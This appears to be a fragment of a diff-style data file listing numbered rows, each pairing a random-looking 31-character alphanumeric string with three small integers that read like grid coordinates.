+1578,29TPVDLCZ643JKLJ02A8GJNY0AE1Y4R=,25,5,1 +1579,FXYHQS4FU1PO74OJLXXE531N8MNOF8L=,25,5,2 +1580,Y9KNL87BJYJQVKBEZJUDZ8DUMHEPR8X=,25,5,3 +1581,3CTFU30OHU0MKB6OBIF8CB28L9IRSIX=,25,5,4 +1582,6S4IKXZ25ES5UXM7EGSB6R0SEGK1HMF=,25,5,5 +1583,8M334O02K6L14YOHKHCP9LSNYBAX68W=,25,5,6 +1584,QGRSOB8RWXMY98VVB9V88K6KCW003Y3=,25,5,7 +1585,H7QX1NYDJRB7IQYAAK05WTPE9D683XN=,25,6,0 +1586,IDEIF9N0GN45JVJLPGQMLKYZT1H1MNN=,25,6,1 +1587,RY77PPPU3JWWRU82NAP8EP10YEW1ZLN=,25,6,2 +1588,RLQ8GR4QGSTW2IVCLCR47DB094CUYVL=,25,6,3 +1589,NYF6HLP2RVU42INQCJR7JYZ1CP0L7JX=,25,6,4 +1590,J6KJZ7T04T01BVGK9FA5FWZPY5GIQVU=,25,6,5 +1591,A1TYPY3QVDMBYRUO3HW4RXBX2PH0T5W=,25,6,6 +1592,K3TXJAN3UEVNOC0XLFMR7AHARSF9IK7=,25,6,7 +1593,OR98ESVEF5LQIULLPFYDWIWCS85CLCB=,25,7,0 +1594,4CYYM0ZLFIZ00R6MCUWOZIJS1ISZUNQ=,25,7,1 +1595,E27SZAHWUA0YWZA18QISTQULS9KG3SO=,25,7,2 +1596,0S9K842PGV84FMUPPJJ77CZ8H0JACGE=,25,7,3 +1597,TH299G6SK09T8ACT7T5SE9MOMZJ0BBN=,25,7,4 +1598,F27PDU252JBAHU8FHYWQ9ZVXAPWXH66=,25,7,5 +1599,O6AMLQ704I9MAFF39YWLVDI2OP74YMN=,25,7,6 +1600,783R4G34EZKZZAWY1KT2TX22MK5AJ3O=,25,7,7 +1601,2E5EUMA2NSH3J2KRIY48XXDEV74RHXS=,26,0,0 +1602,9T55C0QC3YYPM2EW2IB8ZJ0WXX6QP03=,26,0,1 +1603,BIH3G1RA4FBOWALVSBP9WM08UB6HYGN=,26,0,2 +1604,S913D5HT5NJIDZCRNW5AP1VFKX1ZR7H=,26,0,3 +1605,YKNM4OTM6SQWLZS8MI6EVNNYGIGJ1QQ=,26,0,4 +1606,7CETTNBJFGQO3VP5SC0D8K6RG7PQWAU=,26,0,5 +1607,W88KU7HN3JMSEBAJMVAU5VKU9STNBEJ=,26,0,6 +1608,5T4RHPAICO2ZYCNQ2LUTL9JPM0AYRPB=,26,0,7 +1609,DFN9K8MC6LPD2L2IZIWAQMG5MECX6TW=,26,1,0 +1610,XPLD8N4WON1BV1MPXYUKHU56WJVX5QM=,26,1,1 +1611,YHC1ZZB3YE960KPSVLOVPW7X5163LZV=,26,1,2 +1612,2G397KTK1UDDT336OKVNNZ7F04S27F9=,26,1,3 +1613,MB7J9HSTZQH1AZTBJKJKPA2IYVE9RJI=,26,1,4 +1614,G3946RKMMJZGTV426IWWSGVZ6D5YVMF=,26,1,5 +1615,QQSU99QVHGSSJESPLVLER2S4KI2C39S=,26,1,6 +1616,D8ZUIRKL64DISH6V895N6A8VLC2DRJK=,26,1,7 +1617,IFDADAKLH3QL0EF6IXKOP7LVMDMA52B=,26,2,0 +1618,IR8G05G4DLXLTMJ3T4LKCF0LH5Y5G48=,26,2,1 +1619,MDJCXG6OPMB4S1CKF1ZE0B7SXU6GAAB=,26,2,2 +1620,04QFPR1CNTCBMH3QE52RQQATINAZP8V=,26,2,3 +1621,7CNTZQWMWLTNDS9IZO61NC155QPKU85=,26,2,4 +4481,G7OE2AFHADEOZ35AIPXI2YNS0MMYXV5=,71,0,0 +2696,ZD48KN3QFNL1SYDHM4N8PCGAMI3PT39=,43,0,7 +1624,NF669ZUVOZIONYLWRYM20KS209Z4AYW=,26,2,7 +1625,G06E4XSEU5TRILZ4WFJGCIXGT6T9477=,26,3,0 +1626,YE72XCQGBN0JD4EANE49TU6BE596JGE=,26,3,1 +1627,DG8UGYMCCP98357WGRRAFTJPL461Z9A=,26,3,2 +1628,I959TGXYTGSTIHQAIOOGTGUVNCS5VBU=,26,3,3 +1629,C9UVN8KZHMKLKDRKPDVIMY3YKVMJI8L=,26,3,4 +2697,KCDI4GED8JE98UFMFVL8DTGRM4YJZQ5=,43,1,0 +2698,HMEXYOD51W06X84CRTGIRWM6HEU3PM2=,43,1,1 +1632,JYZCCKD9HIOJNG8EX9YHO2OIBYSUVGD=,26,3,7 +1633,3HOP15LKAS4QYPTIHI7EFJYLU1727NF=,26,4,0 +1634,TPAL2SOYG9JJKEEH2PFJW99CW33RQE3=,26,4,1 +1635,EUKYS8W9LVF1H12R8IDIGUF41I5RCGX=,26,4,2 +1636,MCD7B28D7PMT2JLB2W56TALW8VV62DL=,26,4,3 +1637,4E8PMEBRMQ8WR1IZN86PC6XL3UVKORT=,26,4,4 +1638,F4MYJTUTNRO46GD9AOTYOE5KJ1NABT9=,26,4,5 +1639,RE01AM3Y0DYNKVJO50IR26XHIJS8EUX=,26,4,6 +1640,0X5ZQNSYQEX5U3IPLLHC4X5RKZUYROR=,26,4,7 +1641,WJPJTNSADYG55OP9NVV8ZEB4SU3639B=,26,5,0 +1642,G0DNYX31GCJ57Q60EJAS5ZH7A8QBD83=,26,5,1 +1643,Q3PYVF56NOV6VG514YN4EFME368H34F=,26,5,2 +1644,ABUBZ7TD4XJSQSN45LW1FI1YEIZMA9V=,26,5,3 +1645,B2MBI741KSUMORBAPZTTWAVJB7A6GRE=,26,5,4 +2699,9G8V57190S83IY1BQGW6L7UGFNJBIJX=,43,1,2 +2700,DTU0GWOPOSUKTNMCHW9OSBZSKG6PV6H=,43,1,3 +1648,S70L15DTGPY801UG7OFYHTY0OD0PIN8=,26,5,7 +1649,YRO59DQCU7U2VVCP1NAEDUI38M3BW3I=,26,6,0 +1650,GJ55RZ11LIC498DN9LRJTEGRBKMVS50=,26,6,1 +1651,DO89Q372X7IBMHWP22I52W17HTQ80IV=,26,6,2 +1652,ZU77EUI4MZV5C0LQP7D1LPV25K8EYWA=,26,6,3 +1653,2ZAVSG9DKWPJE8QFWZA01JMZS2J2SF4=,26,6,4 +1654,QFJTLAYLQJ5IATIA2VZX0IYA9QD92Q4=,26,6,5 +1655,OM5NQ6I6S2P77S5URDPL5294JHOOKH6=,26,6,6 +1656,USZB22C6TXJG4G9548DWK82BWPHP2RP=,26,6,7 +1657,0AR1ULGV66MSBZ7G7RCJ40TM2UMXHJO=,26,7,0 +1658,VY1JEB93Y4PMRQ6BCY5918H9HO2Y0FR=,26,7,1 +1659,NOK3IXC70KL4MFZ4EHFFHEWZDFYWI08=,26,7,2 +1660,ODZ4HHKWDVAU67CE7VL7VA5DU8VJF1K=,26,7,3 +1661,K6V63HNCAVTKVE4XKFGAXKSKSCRTKM1=,26,7,4 +2701,OFSJHGM6XBRJILGAA47XXJPJ6CGVMBB=,43,1,4 +2702,0KLS5RITNPQ5CPV471IQEYI02CPSI1J=,43,1,5 +1664,0BJUPXJGHCZLM432CZUSJMPLMM7V2TI=,26,7,7 +1665,1GVKS79KQ1I7TQ9ND4DN87S7P5O2MMG=,27,0,0 +1666,4SOJK3RS9XI4OULF3JQ11G2VHUT91U1=,27,0,1 +1667,LWO3XP18ORXCYCWA690H22R1YD46PH1=,27,0,2 +1668,TGVNRZUDT3BFQ3LS6HVZI7ZMZE99IIQ=,27,0,3 +1669,VR40VLYTHW20HOC1G0G6U27AIQZK51R=,27,0,4 +1670,9N3E1GKDYBCIPOERFYLO332835G3I6J=,27,0,5 +1671,BTC55F5I21B326U91GZ8KRASVZUG4HS=,27,0,6 +1672,8D1UTXC47GWESCZCBE6PODU885T03RD=,27,0,7 +2703,O8E2TKVNQW7P3VJC6MBJXO0RENPXPEW=,43,1,6 +1675,4JIJVX8SUA4HZB6ECVHS3QWKSGGRQIL=,27,1,2 +1676,BD6PA55LMENX1B9NWUWPO7A29MO1754=,27,1,3 +1677,Y1EPFQR0WZBCB56NBCYSEQHXVBTC5L9=,27,1,4 +1678,9IOS7168CKYPW8F56YOEQ8DH1DAR357=,27,1,5 +1679,6GBSQPY8UW4T0X57LY51P8E18ZM8AFF=,27,1,6 +1680,JI0BI0U4D3B3PKZMTN0D7JID8Z8QH7K=,27,1,7 +1681,JF9O1UXYJEHJV77S2BO8VW7GOKK28VA=,27,2,0 +1682,CQR6T2QP16TEHSI68LH50RL5WZNS58H=,27,2,1 +1683,YAPV9C0TRCSRMS5SCYMWKUNUH0DDUTR=,27,2,2 +1684,3VC384D6FKTYXQLKKTU7NHMXTEJSG96=,27,2,3 +1685,S9AMXPDJ7VXBCX27UDSGKKXH734VEHE=,27,2,4 +1688,N1DJW1OR6PAB9IM6XCEWEFQDMLNE2GJ=,27,2,7 +1689,4J7B9JQQRYDS428A49UILO4Q4U59K3A=,27,3,0 +1690,2AA0LP9NN7HK4REARZJVGACEMVULRIP=,27,3,1 +1691,NRA7CFXM1O92VTRR17QFKW22LEHGZSY=,27,3,2 +1692,H27WMVRB608VC9G56JHASI71DTTL0BK=,27,3,3 +1693,4RD0L3HZ834X98L0072RPDBB8I0G2GF=,27,3,4 +1696,L74VXPM1Q6VG81WEW7WK5M75DG7XJ3T=,27,3,7 +1697,ZFQEYWR2M1N87T8MF6UEL3ZD834NXW8=,27,4,0 +1698,Q8SV38HXRWMEOGNRFWFPTXNAHMZFS9T=,27,4,1 +1699,OC2WBRVJ8E6S5PQQHWLJDL9ZH3RN0PB=,27,4,2 +1700,F26VXYOPBWYR4S95TZJSH2PIY2AU5M1=,27,4,3 +1701,ZOHGN2MV4RRVSFV79FGD8D3SQSYUHN3=,27,4,4 +1702,N29CSK9UEU91SRE7NITGDBEHAQ9HYB6=,27,4,5 +1703,HXUOBYQJ7972BQJFDIJ9SDUHOLZZE2R=,27,4,6 +1704,KT9RACUQRBZITI57JD82DVIK8ION69W=,27,4,7 +1705,UVAJZSU549FML1S45CA0L3945LNGDEE=,27,5,0 +1706,8O9ZXN2J0N91ZVRZ6L959NJD6YK51NW=,27,5,1 +1708,KEBUL30HUNP3GS2V0U8RWPC85YNH1BE=,27,5,3 +1709,LI1J5NO60Z5O5IB3CB8BCNR4DVDA84E=,27,5,4 +1712,GVA1WWKJM6OXRL94Q6DBFI37YDSPOJJ=,27,5,7 +1713,R8FMUD588BJPVKZF6JU3YKMJK5O0M0K=,27,6,0 +1714,AQ0RBF0XE6CQ8XKDWGAPHS798O6YSNA=,27,6,1 +1715,XFYW2350A0BWECSJMIK9G89V8ONYEXY=,27,6,2 +1716,0M9MFZP2PMRC7RFZK8ISWGP0K0VGL42=,27,6,3 +1717,DV8V1Z3OCESV5SXIR85UQYJP81VIGMA=,27,6,4 +1718,5KZXLTOD28UGKKZPGE0BVKCLJHBPX2G=,27,6,5 +1719,97RBCXKSGDH6XB0PO5A8MP0NNQ1SXZA=,27,6,6 +1720,2JN62VFLMQ4E74OEGGD9Y7RGW3GUBMQ=,27,6,7 +1721,6IZ67IVEWDR3RVIS4IETTWH3LNRQN7W=,27,7,0 +1722,C22LNCTP8SO0DLAVQBU52P9R6BLA0QN=,27,7,1 +1723,QI6CUFF8KF8CQ4AVQITKLLWZHMUPSZP=,27,7,2 +1724,OKQYWHRMAQEF0W62C45FWJK4T0U9EF0=,27,7,3 +1725,UF0HWR8XGI1OAOEI38JMXQ5GD61LYG6=,27,7,4 +2704,PTK5817DVNB7PZDYJO138G0B1OIBISP=,43,1,7 +2705,ZU2PARLJ0O1IBBS1YRVG7ZWFNZYX1XR=,43,2,0 +1728,9VY66QTI6QF11CFLTU2AOLX5S4XEFF6=,27,7,7 +1729,45O2VDJFWK64HHZZR29HUHAODYC33V6=,28,0,0 +1730,UZIVYIRLQU8MLAS8E40546XQSV37L08=,28,0,1 +1731,VKA8T06FF3HB0Q0JWQNZ363EHX5H57A=,28,0,2 +1732,ADAJNI2UV1QXVVVE0JBV92SLLI24DK6=,28,0,3 +1733,20OYVJKC7MWM17JELCOPMJKWBVDXSSJ=,28,0,4 +1734,XJYPAHWZT53JKIKC1C9KR1G694T7204=,28,0,5 +1735,NEKVG9DJTLIOH8GZT8WLXX74RQ9Q8GT=,28,0,6 +1736,YRV18ZLV6TUWX0FGOF0TDMUHF2PM0IG=,28,0,7 +2706,CZ7OH72MC2O4JPJRQKBN1PQX15K7CME=,43,2,1 +2707,BPESQ81MZZB1LSI1DWO3BV1737W3J0Z=,43,2,2 +1739,ZOCACV4KVCA5W08DBKRSXN47GZE4B7R=,28,1,2 +1740,VPU02ISIB82RC48DAAX9IGSPOITSWGW=,28,1,3 +1741,5PSZP43WSSXMPJRIAUY5T5YA5YSGKG2=,28,1,4 +1742,RONDXCPD7C5LZDG4EGM7GY50CJMBMB2=,28,1,5 +1743,83SK8WBT4EW77GQTP1YRJ3CFLY685SV=,28,1,6 +1744,8LRQ03SVFYBAB1D96M3PZ49CE73JUAD=,28,1,7 +1745,5QPCORN3WX8F585I72VEXN3UG3VWFSD=,28,2,0 +1746,RJ3GKU8KOCP8PJ79K7JZ7I3RPCTX8BE=,28,2,1 +1747,F2QKCM47X4KW7E3UXPX5W8X18YPKK0W=,28,2,2 +1748,R9WG5Y6HC9ARA5HB9HBCQMTB3YGWRE1=,28,2,3 +1749,VYC0LUVUVJGUO7K9ZTY00IKDFBBSNGX=,28,2,4 +1752,HVD3ASLEHH5JP5VRUC0F0BRSFZ0FFQG=,28,2,7 +1753,1WP2T347FNNPALLK43W4NEL1PBQRWN0=,28,3,0 +1754,PH940PMPZC2ROEO8HLMMR8D75K2FS0N=,28,3,1 +1755,RSISXRPT4I2X7UEOHMB0CBTR9RKF8Y8=,28,3,2 +1756,WDUS1FKX5PQ3ZG0EVUIGEKZTJEE7G91=,28,3,3 +1757,LXLIJ1ABOD2EZ0MJL3PGK7IXQWDU5J1=,28,3,4 +1760,K60BQ1TO1WGGMLITXCDE5H8GECCB0V7=,28,3,7 +1761,QZQJV52RVAQBZTUKMP9DI8FUNZV8A3H=,28,4,0 +1762,UBO0GX3I9IO9033MPLHWFG72EW65BCJ=,28,4,1 +1763,LLTDWF73UN6UI8XD4ZCLDQ2D60PN5QZ=,28,4,2 +1764,3PNHOBMQDPUXBQVGVNO4EEKL2JX1ICY=,28,4,3 +1765,1TQNDMLKJNJMIB3WTXHITG1I7KU5HAT=,28,4,4 +1766,ROPFXFHSAHKKBED365U792H5AP1X1K4=,28,4,5 +1767,V6VIDQF34CDELYSXMDGN664W9OU98LO=,28,4,6 +1768,A1B9MYXS02H6WSSQ82OUQ126KWUH65G=,28,4,7 +1769,J9Z46IYBTP5P7L4LHHYOC5EMOE7FXM2=,28,5,0 +1770,WH00O3A2SEHIYYANF2E15C76ZQR506I=,28,5,1 +1772,X6WIBPUAKRX83A4DQS86TCE721D7LES=,28,5,3 +1773,4CU36WYRZUUEHQSJDWWIEQAOSTBMLOQ=,28,5,4 +1776,QSK9X2G8ZT6DAK08QNIDQNFUBUXMQVR=,28,5,7 +1777,6YT7IKGHQPAS5QX78BNK6JT175FW9MJ=,28,6,0 +1778,LZ1SI2A7JHYYWVRC8PU1V8GSY2KEJUR=,28,6,1 +1779,EYSA81M1H3KYNMIEAZRG22D1N32DVO5=,28,6,2 +1780,ISQSXKGBFQQHS91P2EHVL3O54IN3X7T=,28,6,3 +1781,EQYBLW6KDWVE4YO3LKZQICRQVBDZCKH=,28,6,4 +1782,MORIRNDTS6MAA6QDPB1F3SQZ34EYMVC=,28,6,5 +1783,AEPNCI51AEZ7EG54CU4P8S7D1C66FK9=,28,6,6 +1784,JAP5MPTA6PP5MSRWLWL92MHD7S1DU36=,28,6,7 +1785,VBH3URC72K5M6NFNG3V9G8VBCPRB6EP=,28,7,0 +1786,DY9O5B0GVTHN8FA9Y2SZCHO7LGQZ953=,28,7,1 +1787,THNA2HXXGWAEE9845YC33OOF82X20FC=,28,7,2 +1788,JUD4GT3WMJJKBNY04UNWMP401GF1N9L=,28,7,3 +1789,XJ5TCBUPYY87CWW1XCSF5HUPH30N8B5=,28,7,4 +1792,3SBJCSQQY6C60DPYY9ZKTDAXWUNMVXD=,28,7,7 +1793,LNO96V9ICUHMJQ1JI3KRF0LF36IXC5A=,29,0,0 +1794,Y5O5PM17ITSDBQCZAIDPMVP9R30KFTY=,29,0,1 +1795,ICS5NHNN5JO64QPOQ6KK8DV82KZVKR1=,29,0,2 +1796,4WPOV7XJSG6R9QVDEGLDZ8OMCY4OZCS=,29,0,3 +1797,YOR76K2LYRI3R5UC2KPLIXC8F4NKQM2=,29,0,4 +1798,SN30PRJRHALQGO7G39WOBVLAF1L7R5Z=,29,0,5 +1799,JDAN2S4QSFCZIECVSGUVUWOQVEOT8DY=,29,0,6 +1800,JXD18ER72QRV4HJSZP5IQNVHOSY04PD=,29,0,7 +1801,9D97DLFOMMU1JYFLZLCFE6CKB800VD0=,29,1,0 +1802,F3NVKOP5FIRZHKO544RBGA8DEISUEMR=,29,1,1 +1803,XJLQ2NVIMMABW527VVWM64P0JTY1T1A=,29,1,2 +1804,3KDUD0OOYXMYKGMVKCN416CDQ0RMTOM=,29,1,3 +1805,FZDLAZELQA9GYGNS79O17WADWFZ8E6N=,29,1,4 +1806,A8Y7X18C4KFEB61C256YYET9V1DAE1E=,29,1,5 +1807,Q3GMW9LSC3UJC5J1KV3B3TU9CRV87QN=,29,1,6 +1808,EDIDDPOKK23U9UDMCWTSWLMSH9SYC2X=,29,1,7 +1809,M4IDK4UDC48OAI5BEBIMYFSAGFG253H=,29,2,0 +1810,7N1YGUZQUSACODDCBBN9V8H3BRVPT6B=,29,2,1 +1811,O2GSPNHFFFESNXXBBSC671CAW06LQO1=,29,2,2 +1812,JTE2PSEXYLLLTP5EP00DAICF8DCEUDX=,29,2,3 +1813,27GQN7LGKO3OT6U66Y9QHLNLDBKEU9M=,29,2,4 +1816,QKTNV2PDNVTPCSJOG5JPECDTXUBVRC7=,29,2,7 +1817,NU3LLOQ44G563OGK2Z2PMWVC1WYQGJX=,29,3,0 +1818,SEMFKQ8UC98APVQO3JN6MN2TSS8IBSV=,29,3,1 +1819,EUFGU3CJGYCS31PCW89JF4S0NRFB3V9=,29,3,2 +1820,GA5LLU9Z1JBQ7FAO4BC5YWL3LVUNDN9=,29,3,3 +1821,KF2F2BTUREE85SUT8KYJ2773SIWSSN5=,29,3,4 +1824,Z8WFIDIPOYDCLWDSBCTEU4TEQ870MD2=,29,3,7 +1825,SDL3L8DFIDJHM2LIVQK8I1KXA1936M8=,29,4,0 +1826,JVRT5YOKV5UYYUH9K8DWOAI2S64QSJS=,29,4,1 +1827,ZEMOPD1P0XUBMU6SSGH7JJ25IDJ4YKI=,29,4,2 +1828,D3BQQL3P9NH6XA9TGTCIRMCVRHIGW1C=,29,4,3 +1829,BJXSN54QDCCE28AL32UU6K17ELPS4P2=,29,4,4 +1830,JCR4OX4LQIEIPM4XRW67SM5JUQP0YB2=,29,4,5 +1831,W792GQK2TGZVB24210PRCL6686QDTAW=,29,4,6 +1832,5R6I8AB1ATWMMNQIFM6NTJLYGSS6T2Q=,29,4,7 +1833,WCMBVP479F4XW9MEGQKTHHD20WEX6EV=,29,5,0 +1834,RF6DV0OQO2F18O9268EYI6XSOIN7CQ9=,29,5,1 +1836,FHBD78SQL7YSYM6E7Z7SNCNW636OV12=,29,5,3 +1837,F260KX5KX4E7GE1DVBA9FFS7N3KZ00E=,29,5,4 +1840,6RQ8EK50T4O979Q3OGPVC7TQSMJ4DAX=,29,5,7 +1841,FUMYHE69MBSIJV9UTMP9F7DORRXEY8X=,29,6,0 +1842,P4PI7UJQH9EF9JEJXWN0Y2ZZUYMM3CQ=,29,6,1 +1843,H5BAVCA73FKT59UHRRFNKX1AH6EOZZO=,29,6,2 +1844,KLCUWT7N6WARMCBDBJXWHRMPXZ3QO3C=,29,6,3 +1845,XBU6GXMN8566WJHLQJM5U6RGRZVQNWP=,29,6,4 +1846,32SYU4AFY9QAT928VZHZZ89EN9HM31L=,29,6,5 +1847,ODENLGVTYDWXATOEAPX01JIS5NHN3D4=,29,6,6 +1848,VHUD0644CBRD2K5KK3N83O75D76BMOA=,29,6,7 +1849,VVMZ4U2R12UXYGWRH5RH9V8D75920S2=,29,7,0 +1850,HBUUOIT2DIFFJOVD3HY16NS4G2CFBI1=,29,7,1 +1851,XII3ZKM0IW607TL33NNR47W4ESE47TK=,29,7,2 +1852,KA6GY076UGBSQGMLSNFSGQHYEQ1TXRY=,29,7,3 +1853,XVM8ECIKBVY6QKTJ8VN0THPC7T0KGWF=,29,7,4 +1856,EKWIRL1AH198DW5PFC0YSUZ2DZVED0W=,29,7,7 +1857,39FAJ8T0MK0CBQEWR1XVINQYLM4472I=,30,0,0 +1858,OAHL7GF42UOGOW150I93O3YRF1X6MLH=,30,0,1 +1859,0EIVL26NLSWQKOHUEET57KV358NYWAP=,30,0,2 +1860,RBQD2ZCUOS3E3OZKH94Q6U5HLGK62DD=,30,0,3 +1861,UINSNXIV4CSONBIZ76J731C47XD0BFY=,30,0,4 +1862,NHRKF7EFF59DBFLX53NY46R9DGLDEH2=,30,0,5 +1863,XQO46QSP3IVYWHZ4FGI1S60RB13UB64=,30,0,6 +1864,KXTUP2BLGWZM5R7WH7X39NANQ41DQ2L=,30,0,7 +1865,K3Y0PXM2IR5OJ3WBHCPEKS6XR4ID844=,30,1,0 +1866,USIXW2J64J172L60XHI16R9NHNXEMAP=,30,1,1 +1870,RNQ1ISEHDPPLW3DTU5XGQHEKPPE5AMN=,30,1,5 +1871,RBVXMM3XSN1M0FIL0DDNBJIHP0P4WJ2=,30,1,6 +1872,XIHLPX02BCAGAD71UJMT41NW95E870R=,30,1,7 +1873,VE7YFUI48G52OAXLS8UV7RL2G4ZBY5D=,30,2,0 +1874,J5EEGVLMX5DSO22EA7XYONNY73I749T=,30,2,1 +1875,7EYB4B4T2QDSZ2SHSWQFQGQYV2SOOU2=,30,2,2 +1876,R48R2QPG87M5NCMN29B1IRZA66296YR=,30,2,3 +1877,GFF5DWUNQQ9YFS0ZJIWQFHLTVAVWHNL=,30,2,4 +1878,FIH3OVKYXFI3C3GM7BRMHJCG6MNEAO5=,30,2,5 +1879,OAHDKYB6IHSZ6CI4ZA4NYEZAFMJX67Y=,30,2,6 +1880,P98DO3MQM6H2FIJ2Q1WRZWTQ26AU5Y8=,30,2,7 +1881,DO1ARF9VG84KIN3JI3PGIL9FEQX9Q70=,30,3,0 +1882,0IND69ODA6NN2I14MVX5IFYTKG2V4EQ=,30,3,1 +1883,KV0NIQH08UNIGLCNXY3450PIX803XRP=,30,3,2 +1884,UXJ6BZ5OQCTRCM6I0F33AHE3FIOFXQS=,30,3,3 +1885,VIVV1L0ALA3V4UIAHJ3Z1C8QKPXF1D6=,30,3,4 +1886,SX6DCX67IWYNGXS235BHR721MHZ8C5V=,30,3,5 +1887,WOK019JLJ8EAZAKG7VA3HTREIIYV02D=,30,3,6 +1888,N3P82H2OJKD3G270U5V06U56A4W7I5W=,30,3,7 +1889,GBO8UN84UJJ6SYQXOGCKOOM3WQBQNYZ=,30,4,0 +1890,62D5CL55W3WYIZK4IDKAITP6V9F7516=,30,4,1 +1891,8745Y2JM97PMSDRJGQ35T98DTX8DFE4=,30,4,2 +1892,2XLIUD5813NJF0E128O4KYZO9AO3NEL=,30,4,3 +1893,I8FHDQHU1RU27R43KJ9HPU5L7SG9YJY=,30,4,4 +1894,VLFHX7UHUHW48WVR1HGHDY8OI0TRAHB=,30,4,5 +1895,HAM684Y7U01LHQ7WE3GBFTPXGRVF9TZ=,30,4,6 +1896,AH1VEZ8BV7JQQCNF8WI61CZVX0ED2WQ=,30,4,7 +1897,73T4AV6V6BIFLGFXJP3E2T65ZV1KXRJ=,30,5,0 +1898,XQII5GSF8ITS82WSSJRH7V6PZQSO61Y=,30,5,1 +1900,FOIMDR4KY57SV4051FDN2ORKA8GCFEV=,30,5,3 +1901,7XD13HZ72YW9INLM670XK0AD2K39JL6=,30,5,4 +1902,N5P22L42LAMA4UKMRX7LFZFMTAMX43M=,30,5,5 +1903,E2B67MVMOVXESBZNTQ96Q0KLE3WDR73=,30,5,6 +1904,53H4RNFGPY3UOPO57NGEX2YANL3HN7T=,30,5,7 +1905,UA0PLVAWIRGGT1S4T7KTN42CV9VLBPP=,30,6,0 +1906,8GM0AOIM5SCTPJ6W6Y3JJO44BDFTW9J=,30,6,1 +1907,C0ZFPFR3M8URJFX2CBW5OESCI32CV9K=,30,6,2 +1908,PBBSBOXFNJ2HMFY82Z2M9DVSJ0LCXLP=,30,6,3 +1909,LAJS59DSJ4DV3Z5G2UHN8KAUN1MBKQ0=,30,6,4 +1910,XWY8YPC8JSS3315M802RCMHGJF3F45Y=,30,6,5 +1911,RNLA912TZNZBLTHQIEBZW2ES2I86GNJ=,30,6,6 +1912,144G19YZ0TR14AWEYTOFUO5UCFRO0NH=,30,6,7 +1913,DURX8QHP0T3GBFHPULM9LKB6ACRTE3D=,30,7,0 +1914,499DHO4W3NE9AQOR0GONTUL3MSD8OUQ=,30,7,1 +1915,2EEY0DH0NTJKVNBFJHAIPBTX4289TC7=,30,7,2 +1916,VMH436YI6DD44QVZH7QLQ43ZB9PMCQK=,30,7,3 +1917,HSJBZR3IODH6GTJ8F37ZVP3EEZTGAPH=,30,7,4 +1918,T7ZG3O6V753JHYSZ9HGI7YXD4E3VUDJ=,30,7,5 +1919,EI1KWRMQJV1VFH2DQ0NQ4042OLNPS8O=,30,7,6 +1920,X7BSS7BN2NX06HUR5EQUFL6NP750S1W=,30,7,7 +1921,56WHD74S4SP53MP6KHJZY6AHHXE4FIB=,31,0,0 +1922,09RVU2M1C28TADRB17LDPXUJNTEV9VP=,31,0,1 +1923,L699M682ONJ3HCHGWCZ55MZE6SVA405=,31,0,2 +1924,PBGIWO0CA4HJXDYKS2JWSQ18VNI2NXP=,31,0,3 +1925,QB7EYA33QCS3F6QCUEIXC9FIEWEMOQU=,31,0,4 +1926,YJ4J6VQA7P5SURHSN27B0WHO4Y545GV=,31,0,5 +1927,V39T3FTLOX6DEGBZ0ARQ7GSDZ05WQYY=,31,0,6 +1928,9CMJ1345NH3V5WJQZDNHS6BRFH5XPI6=,31,0,7 +1929,UHE3XGSRNM6Q7ZUVXVUZGHF93HBZ60M=,31,1,0 +1930,K1QWSY8Q006CTOTM6VJG6W2CE53OV09=,31,1,1 +1931,MJ5MD3OPBJC7O3WKC0ADE09TTEUBHLO=,31,1,2 +1932,9RGGVS74WO7Z3SUXRP5P9KX7JLM64IH=,31,1,3 +1933,ABACZV7JBH6WKAY7C6JKAB4Q1KTHQBW=,31,1,4 +1934,8VO1JHTHIC69B26HQL9EOE04N8JES56=,31,1,5 +1935,T9J76ALQ9UWCCKG9MGHHWMTHGHCXO0O=,31,1,6 +1936,RFG3A8QOSN8ZORR28VNT7C7335LPH31=,31,1,7 +1937,SS9GK1YVCBGGYRN71E8S5VFACMIWG22=,31,2,0 +1938,SL6VH2C2ZGWNHG275OPBIBK6JAOPXE5=,31,2,1 +1939,XUDQW6C0BSR2YCE8KSXFTLDCQ7SMVKH=,31,2,2 +1940,I54LBISN8MIYLGIGZEYMLVDNSVJQ3L1=,31,2,3 +1941,PUWUCC8OYUN84M2A9WWNAN0F4GKWGSY=,31,2,4 +1942,5VSPCN1V2C32PDCF2L62ZSV6WRD0S7V=,31,2,5 +1943,V4P1VOOAPISOFKX113096NKS3SYUBLY=,31,2,6 +1944,CJVF1EDX07HI3BAY63OK9Y39D7S8T5U=,31,2,7 +1945,EIJFC1EMVNUKX5AK57948ILMN49TYYE=,31,3,0 +1946,4V5SU9JN1J1FABCLSQ7LVEN2HI2IX8P=,31,3,1 +1947,95OHIMJD0F7YOT9S9555ZQQVWE8G8I5=,31,3,2 +1948,4SF8NANMO6TOI5659UHNI8Z838ZD28D=,31,3,3 +1949,IXJEEW7A5ZR7I495AEAS176IXP6QOFD=,31,3,4 +1950,N66BOMAGMOOWGKRXKB3YIWYG1L6XTHJ=,31,3,5 +1951,V5LJH27NWYFZ7W7FUT5OM2MK5A6GZIP=,31,3,6 +1952,STTKH4E4HH270HQ6SPG5XTQHMH336D4=,31,3,7 +1953,22N4ZZO4T0DUEGN94U7RB68JXV16WFR=,31,4,0 +1954,2YC6J3DUHRWV1M9G9C1WX14QEV8KXZ4=,31,4,1 +1955,8ZA1Y74YO6VO38J11PJPYLSY842WPBT=,31,4,2 +1956,GT0KLGQH3MRHJ2KCMI8E3BK8AT741IY=,31,4,3 +1957,MG52X2HCKSPZSLZJICM5WFV4B9YXH0T=,31,4,4 +1958,QFHUZ99LB38X5570VUQVSUMZBP227IP=,31,4,5 +1959,5KPPMFAH38NET6D357KWAFLJQC21PH6=,31,4,6 +1960,1OFNRWTN3CQJRCX0MJZTU300RZ2W6L2=,31,4,7 +1961,FRRMK5D370ZKMYT0IL0XGNAP8ZL7KCL=,31,5,0 +1962,GOM7QUCM5D47BV68XNUR9BXHEC07R08=,31,5,1 +2708,YJC009V6U168BZ4ITOSJRM6B645ZZTI=,43,2,3 +1964,0CRKVCON77C9SILKESEMOE3CDWSWKLJ=,31,5,3 +1965,CFZUOQS0CKVDBWWJ1NP0IVNHFVNYHHY=,31,5,4 +1966,QF1W9690Q6GH96LP09K3E2J55OZI750=,31,5,5 +1967,39JSQYEH1GOEQ1618T4BGSVQ00U6N8E=,31,5,6 +1968,2DPY3GENXDDZ9SCNPZHN7QT7L969VX6=,31,5,7 +1969,UAYNGTX414XZ0I3QCNS4JPWBVTK6TM3=,31,6,0 +1970,PTZKES8JD452MVM67O2YY5YWMB97OYA=,31,6,1 +1971,W2CFDADRBYKAG4Z10BO23P4XZ5VQ46M=,31,6,2 